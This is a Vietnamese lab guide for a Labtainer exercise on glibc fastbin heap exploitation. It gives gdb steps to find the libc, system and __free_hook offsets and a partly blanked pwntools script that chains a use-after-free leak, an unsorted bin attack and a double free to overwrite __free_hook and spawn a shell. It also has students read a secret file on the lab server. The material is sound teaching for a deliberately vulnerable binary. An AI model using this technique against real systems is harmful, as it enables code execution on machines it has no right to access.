Fastbin

1. Tổng quan

Lab này bao gồm mã nguồn của chương trình lỗi được biên dịch và chạy dưới kiến trúc 64-bit.

2. Yêu cầu đối với sinh viên

Sinh viên cần có kỹ năng sử dụng câu lệnh linux, hiểu biết thức nhất định về lập trình ngôn ngữ bậc thấp, biết sử dụng python phục vụ mục đích viết payload, biết về kiến thức exploit

3. Môi trường lab

Từ thư mục labtainer-student bắt đầu bài lab bằng câu lệnh:

labtainer -r ptit-fastbin

Sinh viên sẽ được cung cấp 3 container, trong đó:

- Container attacker: chạy 2 terminal, chứa binary của service chạy
- Container ghidra: chạy 1 terminal, chứa binary của service chạy
- Container server: chạy ẩn binary của service

4. Tasks

Mục đích bài lab: Giúp sinh viên hiểu được về kỹ thuật tấn công fastbin

a. Find system

Mục đích: Tìm được địa chỉ system

Các bước thực hiện:

- Thực hiện debug tiến trình:
    - gdb fastbin
- Đặt breakpoint tại hàm main:
    - b main
- Chạy chương trình:
    - run
- Chạy lệnh print system:
    - print system

- Lưu địa chỉ này lại để tính offset của system so với libc base

b. Find free_hook

Mục đích: Tìm được địa chỉ hàm free_hook

Các bước thực hiện:

- Thực hiện chạy lệnh in địa chỉ để in ra địa chỉ của __free_hook:
    - print &__free_hook
- Lưu địa chỉ này lại để tính offset của __free_hook so với libc base

c. VMMAP

Mục đích: Tìm được offset của địa chỉ leak, offset system và offset free_hook

Các bước thực hiện:

- Tại cửa sổ đang debug thực hiện câu lệnh vmmap để in ra thông tin phân vùng bộ nhớ:
    - Vmmap
- Địa chỉ ở cột start tại dòng đầu tiên trỏ tới libc là địa chỉ base của libc
- Tính địa chỉ offset của system và free_hook bằng cách lấy 2 địa chỉ ở trên tìm được sau đó trừ đi địa chỉ libc_base

d. Overwrite

Mục đích: Ghi đè được địa chỉ system vào __free_hook

Các bước thực hiện:

- Điền các offset tìm được và hoàn thiện payload bằng các hàm và gợi ý cho sẵn
- Thực hiện chạy pwnserver tại một cửa sổ của attacker và chạy file solve.py tại cửa sổ attacker còn lại
- Chạy lệnh shell sau đó chạy lệnh c:
    - shell sleep 5 && kill -SIGINT $PPID &
    - c
- Sau 5s cửa sổ debug sẽ tự động break
- Lúc này đặt breakpoint tại hàm deleteHeap sau đó chạy lệnh c:
    - break deleteHeap
    - c

- Thực hiện lệnh ni đến khi gặp hàm free:
    - ni
- Thực hiện lệnh si để nhảy vào hàm free sau đó si đến khi gặp câu lệnh call rax:
    - si

e. Exe_system

Mục đích: Thực thi thành công hàm system

Các bước thực hiện:

- Thực hiện lệnh continue để tiếp tục:
    - c
- Cửa sổ sẽ hiện lên thông báo đã tạo tiến trình mới với tên là /bin/dash

f. Secret

Mục đích: Tìm được nội dung flag được giấu trên server

Các bước thực hiện:

- Thay đổi payload để thực hiện tấn công lên server
    - P = remote('192.168.1.2', 1810)
- Đọc file secret sau đó copy chuỗi số bí mật:
    - cat .secret
- Thoát khỏi chương trình sau đó submit flag tại cửa sổ terminal của attacker
    - echo "flag <secret number>"

payload cuối cùng:

```
from pwn import *
context.terminal = ['./gdbpwn-client.sh']

def create(p, index, size, data):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Index:', index)
    p.sendlineafter(b'Size:', size)
    p.sendlineafter(b'Data:', data)

def delete(p, index):
    p.sendlineafter(b'>', b'4')
    p.sendlineafter(b'Index:', index)
```

```
def show(p, index):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'Index:', index)
    p.recvuntil(b'Data: ')
    return u64(p.recvline().rstrip().ljust(8, b'\x00'))

def edit(p, index, dat):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'Index:', index); time.sleep(0.2)
    p.sendline(dat)

def main():
    p = process('./fastbin')
    libc = ELF('./libc.so.6')

    gdb.attach(p)
    log.info(f'Setup leak block | create: idx=0; sz=512; dt=leak block'); time.sleep(0.2);
    # add function here

    log.info(f'Setup UAF block | create: idx=0; sz=100; dt=uaf block 1');
time.sleep(0.2);
    # add function here

    log.info(f'Setup UAF block | create: idx=0; sz=100; dt=uaf block 2');
time.sleep(0.2);
    # add function here

    log.info(f'Setup top block | create: idx=0; sz=16; dt=/bin/sh'); time.sleep(0.2);
    # add function here


    ### leak libc base
    log.info(f'Leaking address | delete: 0'); time.sleep(0.2);
    # add function here

    log.info(f'Now chunk contain data of fd & bk pointer')
    log.info(f'Cause after free it wont reset pointer to null so we can show it up to leak
address')
    # main_arena + 88
    leak = show(p, b'0')
    log.info(f'leak: {hex(leak)}'); time.sleep(0.2)
    #pause()
```

```
    log.info(f'Use leak address to calculate address off function we want')

    # ========================== your modification here
============================
    leak_offset = 0
    free_hook_offset = 0
    system_offset = 0
    #
============================================================================


    libc.address = leak - leak_offset
    free_hook = libc.address + free_hook_offset
    system = libc.address + system_offset
    log.info(f'libc_base: {hex(libc.address)}'); time.sleep(0.2)
    log.info(f'&__free_hook: {hex(free_hook)}'); time.sleep(0.2)
    log.info(f'system: {hex(system)}')
    # for later double free

    ### unsorted bin attack to write a pointer to before free_hook for later fast bin attack
    log.info(f'Trigger unsorted bin block | edit: idx=0; dt= AAAAAAAA +
__free_hook-0x10 | create: idx=0; sz=512; dt=trigger ub'); time.sleep(0.2);
    # put chunk into unsorted bin
    # uaf
    log.info(f'Edit block | edit: idx=0; dt= p64(0) + p64(free_hook-0x1d)');
time.sleep(0.2);
    # add function here

    # trigger unsorted bin attack
    log.info(f'Create block | create: idx=0; sz=512; dt="junk"'); time.sleep(0.2);
    # add function here

    log.info('Done writing to __free_hook + 0x10')

    ### write to __free_hook using double free (delete 1 -> delete 2 -> delete 1)
    # add function here

    log.info(f'Create block | create: idx=0; sz=100; dt= p64(free_hook-0x10)');
time.sleep(0.2);
    # add function here

    log.info(f'Create block | create: idx=0; sz=100; dt="junk"'); time.sleep(0.2);
    # add function here
```

```
    log.info(f'Create block | create: idx=0; sz=100; dt="junk"'); time.sleep(0.2);
    # add function here

    log.info(f'Create block | create: idx=0; sz=100; dt= p64(system)'); time.sleep(0.2);
    # add function here
    log.info('Done writing system to __free_hook')

    # spawn shell
    time.sleep(0.2)
    log.info('Enjoy shell~~~ hecked by iluvinn')
    pause()
    delete(p, b'3')
    p.interactive()

if __name__ == "__main__":
    main()
```

5. Kết thúc bài lab

- Thực hiện checkwork bài lab bằng câu lệnh bên dưới:
    - checkwork ptit-fastbin
- Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:
    - stoplab ptit-fastbin
- Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:
    - labtainer -r ptit-fastbin